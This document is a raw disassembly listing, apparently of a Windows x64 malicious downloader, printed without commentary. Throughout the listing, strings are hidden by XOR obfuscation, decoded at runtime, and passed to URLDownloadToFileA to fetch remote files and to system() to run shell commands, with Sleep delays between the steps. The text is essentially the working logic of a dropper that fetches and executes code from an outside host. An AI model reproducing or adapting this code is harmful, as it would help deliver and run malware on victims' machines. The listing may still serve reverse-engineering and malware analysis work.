movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
movabs r9, 0x6751e633165dce28
mov qword [rbp + 0x90], r9
movabs r9, 0x745da724285bde23
mov qword [rbp + 0x98], r9
movabs r9, 0xe947e0308745c82f
mov qword [rbp + 0xa0], r9
movabs r9, 0xc11f96341942d72f
mov qword [rbp + 0xa8], r9
movabs r9, 0x9b17f73485fcd728
mov qword [rbp + 0xb0], r9
movabs r9, 0xf43900745f108b71
mov qword [rbp + 0xb8], r9
movabs r9, 0xf73cc7679278a70
mov qword [rbp + 0xc0], r9
movabs r9, 0x642d9f71fdb28c74
mov qword [rbp + 0xc8], r9
movabs r9, 0x6ce57e760ffb8978
mov qword [rbp + 0xd0], r9
movabs r9, 0x7695487975678975
mov qword [rbp + 0xd8], r9
movabs r9, 0xe6db24244125de24
mov qword [rbp + 0xe0], r9
movabs r9, 0xb6d65240520dde2d
mov qword [rbp + 0xe8], r9
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], rdx
mov qword [rbp + 0x38], r8
movabs rax, 0x3947f8404c11ba40
mov qword [rbp + 0x40], rax
movabs rax, 0x551caa40cc9dba40
mov qword [rbp + 0x48], rax
movabs rax, 0x5cd64c403fc9ba40
mov qword [rbp + 0x50], rax
movabs rax, 0x12ba7e404555ba40
mov qword [rbp + 0x58], rax
movabs rax, 0x85f540402541ba40
mov qword [rbp + 0x60], rax
movabs rax, 0xb6d65240520dba40
mov qword [rbp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0xe0], xmm1
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x90]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
movabs rax, 0x2d2c807a2509de23
mov qword [rbp + 0xf0], rax
movabs rax, 0x5172b7326343d523
mov qword [rbp + 0xf8], rax
movabs rax, 0xd61cea0f8e52db2c
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], r15
mov qword [rbp + 0x110], rsi
movabs rax, 0x172ece400635ba40
mov qword [rbp + 0x118], rax
movabs rax, 0x8a699040e621ba40
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], r15
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [rbp + 0x100]
xorps xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x100], xmm1
lea rcx, [rbp + 0xf0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x3e11bf2534758003
mov qword [rbp - 0x60], rax
movabs rax, 0x644fa2065a4cc825
mov qword [rbp - 0x58], rax
movabs rax, 0xee0df41c935bf528
mov qword [rbp - 0x50], rax
movabs rax, 0xc613816e1c09de24
mov qword [rbp - 0x48], rax
movabs rcx, 0xaa388440eb99ba40
mov qword [rbp - 0x40], rcx
movabs rdx, 0xc60d36406c25ba40
mov qword [rbp - 0x38], rdx
mov qword [rbp + 0x10], rsi
movabs rax, 0x172ece400635ba40
mov qword [rbp + 0x18], rax
movabs rax, 0x8a699040e621ba40
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x38], rdx
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x50]
xorps xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140024ec5
movabs rax, 0x271ab22931758003
mov qword [rbp - 0x60], rax
movabs rax, 0x725abd395569c937
mov qword [rbp - 0x58], rax
movabs rax, 0xec07ff23ba13892d
mov qword [rbp - 0x50], rax
movabs rax, 0xc70a91390b31dd29
mov qword [rbp - 0x48], rax
movabs rax, 0x8409f63299c5d72d
mov qword [rbp - 0x40], rax
movabs rax, 0xc60d36406c40c225
mov qword [rbp - 0x38], rax
movabs rsi, 0x487edc406629ba40
mov qword [rbp + 0x10], rsi
movabs rax, 0x172ece400635ba40
mov qword [rbp + 0x18], rax
movabs rcx, 0x8a699040e621ba40
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], r15
movabs rdx, 0xaa388440eb99ba40
mov qword [rbp + 0x30], rdx
movabs r8, 0xc60d36406c25ba40
mov qword [rbp + 0x38], r8
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x50]
xorps xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x40], xmm0
movabs r9, 0x6751e633165dce28
mov qword [rbp + 0x90], r9
movabs r9, 0x745da724285bde23
mov qword [rbp + 0x98], r9
movabs r9, 0xe947e0308745c82f
mov qword [rbp + 0xa0], r9
movabs r9, 0xc11f96341942d72f
mov qword [rbp + 0xa8], r9
movabs r9, 0x9b17f73485fcd728
mov qword [rbp + 0xb0], r9
movabs r9, 0xf13904745d108f71
mov qword [rbp + 0xb8], r9
movabs r9, 0x973cd7878298d74
mov qword [rbp + 0xc0], r9
movabs r9, 0x64299f71fdb28c72
mov qword [rbp + 0xc8], r9
movabs r9, 0x68e07c760bf08d77
mov qword [rbp + 0xd0], r9
movabs r9, 0x60954a7873668b71
mov qword [rbp + 0xd8], r9
movabs r9, 0x859038250b70c832
mov qword [rbp + 0xe0], r9
movabs r9, 0xb6d65240520dba40
mov qword [rbp + 0xe8], r9
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], rdx
mov qword [rbp + 0x38], r8
movabs rax, 0x3947f8404c11ba40
mov qword [rbp + 0x40], rax
movabs rax, 0x551caa40cc9dba40
mov qword [rbp + 0x48], rax
movabs rax, 0x5cd64c403fc9ba40
mov qword [rbp + 0x50], rax
movabs rax, 0x12ba7e404555ba40
mov qword [rbp + 0x58], rax
movabs rax, 0x85f540402541ba40
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], r9
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [rbp + 0xa0]
xorps xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
xorps xmm1, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0xe0], xmm1
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x90]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
movabs rax, 0x271ab22931758003
mov qword [rbp - 0x60], rax
movabs rax, 0x725abd395569c937
mov qword [rbp - 0x58], rax
movabs rax, 0xec07ff23ba13892d
mov qword [rbp - 0x50], rax
movabs rax, 0xc70a91390b31dd29
mov qword [rbp - 0x48], rax
movabs rax, 0xc651e6258fc5d72d
mov qword [rbp - 0x40], rax
movabs rax, 0xc6684e2542168871
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x10], rsi
movabs rax, 0x172ece400635ba40
mov qword [rbp + 0x18], rax
movabs rcx, 0x8a699040e621ba40
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], r15
movabs rdx, 0xaa388440eb99ba40
mov qword [rbp + 0x30], rdx
movabs r8, 0xc60d36406c25ba40
mov qword [rbp + 0x38], r8
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x50]
xorps xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x40], xmm0
movabs r9, 0x6751e633165dce28
mov qword [rbp + 0x90], r9
movabs r9, 0x745da724285bde23
mov qword [rbp + 0x98], r9
movabs r9, 0xe947e0308745c82f
mov qword [rbp + 0xa0], r9
movabs r9, 0xc11f96341942d72f
mov qword [rbp + 0xa8], r9
movabs r9, 0x9b17f73485fcd728
mov qword [rbp + 0xb0], r9
movabs r9, 0xf13904745d108f71
mov qword [rbp + 0xb8], r9
movabs r9, 0x973cd7878298d74
mov qword [rbp + 0xc0], r9
movabs r9, 0x64299f71fdb28c72
mov qword [rbp + 0xc8], r9
movabs r9, 0x6ae079710afa8974
mov qword [rbp + 0xd0], r9
movabs r9, 0x76954e7474638973
mov qword [rbp + 0xd8], r9
movabs r9, 0xabc672714928d825
mov qword [rbp + 0xe0], r9
movabs r9, 0xb6d652405268c225
mov qword [rbp + 0xe8], r9
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], rdx
mov qword [rbp + 0x38], r8
movabs rax, 0x3947f8404c11ba40
mov qword [rbp + 0x40], rax
movabs rax, 0x551caa40cc9dba40
mov qword [rbp + 0x48], rax
movabs rax, 0x5cd64c403fc9ba40
mov qword [rbp + 0x50], rax
movabs rax, 0x12ba7e404555ba40
mov qword [rbp + 0x58], rax
movabs rax, 0x85f540402541ba40
mov qword [rbp + 0x60], rax
movabs rax, 0xb6d65240520dba40
mov qword [rbp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [rbp + 0xa0]
xorps xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
xorps xmm1, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0xe0], xmm1
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x90]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
movabs rax, 0x271ab22931758003
mov qword [rbp - 0x60], rax
movabs rax, 0x725abd395569c937
mov qword [rbp - 0x58], rax
movabs rax, 0xec07ff23ba13892d
mov qword [rbp - 0x50], rax
movabs rax, 0xc70a91390b31dd29
mov qword [rbp - 0x48], rax
movabs rax, 0xcf16e5248fc5d72d
mov qword [rbp - 0x40], rax
movabs rax, 0xc60d36406c25df38
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x10], rsi
movabs rax, 0x172ece400635ba40
mov qword [rbp + 0x18], rax
movabs rcx, 0x8a699040e621ba40
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], r15
movabs rdx, 0xaa388440eb99ba40
mov qword [rbp + 0x30], rdx
movabs r8, 0xc60d36406c25ba40
mov qword [rbp + 0x38], r8
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x50]
xorps xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x40], xmm0
movabs r9, 0x6751e633165dce28
mov qword [rbp + 0x90], r9
movabs r9, 0x745da724285bde23
mov qword [rbp + 0x98], r9
movabs r9, 0xe947e0308745c82f
mov qword [rbp + 0xa0], r9
movabs r9, 0xc11f96341942d72f
mov qword [rbp + 0xa8], r9
movabs r9, 0x9b17f73485fcd728
mov qword [rbp + 0xb0], r9
movabs r9, 0xf439067154118f71
mov qword [rbp + 0xb8], r9
movabs r9, 0x871c8767e258275
mov qword [rbp + 0xc0], r9
movabs r9, 0x64299f71fdb28e73
mov qword [rbp + 0xc8], r9
movabs r9, 0x6de675720bfe8c76
mov qword [rbp + 0xd0], r9
movabs r9, 0x76954874716d8e79
mov qword [rbp + 0xd8], r9
movabs r9, 0x85f52538406fdb24
mov qword [rbp + 0xe0], r9
movabs r9, 0xb6d65240520dba40
mov qword [rbp + 0xe8], r9
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], rdx
mov qword [rbp + 0x38], r8
movabs rax, 0x3947f8404c11ba40
mov qword [rbp + 0x40], rax
movabs rax, 0x551caa40cc9dba40
mov qword [rbp + 0x48], rax
movabs rax, 0x5cd64c403fc9ba40
mov qword [rbp + 0x50], rax
movabs rax, 0x12ba7e404555ba40
mov qword [rbp + 0x58], rax
movabs rax, 0x85f540402541ba40
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], r9
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [rbp + 0xa0]
xorps xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0xe0], xmm1
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x90]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
movabs rax, 0x2129807a2509de23
mov qword [rbp - 0x60], rax
movabs rax, 0x6e7d9233715ade2e
mov qword [rbp - 0x58], rax
movabs rax, 0xe935a2738b44ce33
mov qword [rbp - 0x50], rax
movabs rax, 0xdb0dbe27110bd42f
mov qword [rbp - 0x48], rax
movabs rax, 0xcc57f63086fcce33
mov qword [rbp - 0x40], rax
movabs rax, 0xc60d36403040d629
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x10], rsi
movabs rax, 0x172ece400635ba40
mov qword [rbp + 0x18], rax
movabs rax, 0x8a699040e621ba40
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], r15
movabs rax, 0xaa388440eb99ba40
mov qword [rbp + 0x30], rax
movabs rax, 0xc60d36406c25ba40
mov qword [rbp + 0x38], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x271ab22931758003
mov qword [rbp - 0x60], rax
movabs rax, 0x725abd395569c937
mov qword [rbp - 0x58], rax
movabs rax, 0xec07ff23ba13892d
mov qword [rbp - 0x50], rax
movabs rax, 0xc70a91390b31dd29
mov qword [rbp - 0x48], rax
movabs rax, 0x8409f63299c5d72d
mov qword [rbp - 0x40], rax
movabs rax, 0xc60d36406c40c225
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x10], rsi
movabs rax, 0x172ece400635ba40
mov qword [rbp + 0x18], rax
movabs rax, 0x8a699040e621ba40
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], r15
movabs rax, 0xaa388440eb99ba40
mov qword [rbp + 0x30], rax
movabs rax, 0xc60d36406c25ba40
mov qword [rbp + 0x38], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x271ab22931758003
mov qword [rbp - 0x60], rax
movabs rax, 0x725abd395569c937
mov qword [rbp - 0x58], rax
movabs rax, 0xec07ff23ba13892d
mov qword [rbp - 0x50], rax
movabs rax, 0xc70a91390b31dd29
mov qword [rbp - 0x48], rax
movabs rax, 0xc651e6258fc5d72d
mov qword [rbp - 0x40], rax
movabs rax, 0xc6684e2542168871
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x10], rsi
movabs rax, 0x172ece400635ba40
mov qword [rbp + 0x18], rax
movabs rax, 0x8a699040e621ba40
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], r15
movabs rax, 0xaa388440eb99ba40
mov qword [rbp + 0x30], rax
movabs rax, 0xc60d36406c25ba40
mov qword [rbp + 0x38], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x271ab22931758003
mov qword [rbp - 0x60], rax
movabs rax, 0x725abd395569c937
mov qword [rbp - 0x58], rax
movabs rax, 0xec07ff23ba13892d
mov qword [rbp - 0x50], rax
movabs rax, 0xc70a91390b31dd29
mov qword [rbp - 0x48], rax
movabs rax, 0xcf16e5248fc5d72d
mov qword [rbp - 0x40], rax
movabs rax, 0xc60d36406c25df38
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x10], rsi
movabs rax, 0x172ece400635ba40
mov qword [rbp + 0x18], rax
movabs rax, 0x8a699040e621ba40
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], r15
movabs rax, 0xaa388440eb99ba40
mov qword [rbp + 0x30], rax
movabs rax, 0xc60d36406c25ba40
mov qword [rbp + 0x38], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140083c44]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov qword [rbp + 0x160], r14
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], 0
jmp 0x140022c10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a90
int3
call fcn.140001a90
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp + 0x178], r14d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp + 0x188], r14d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3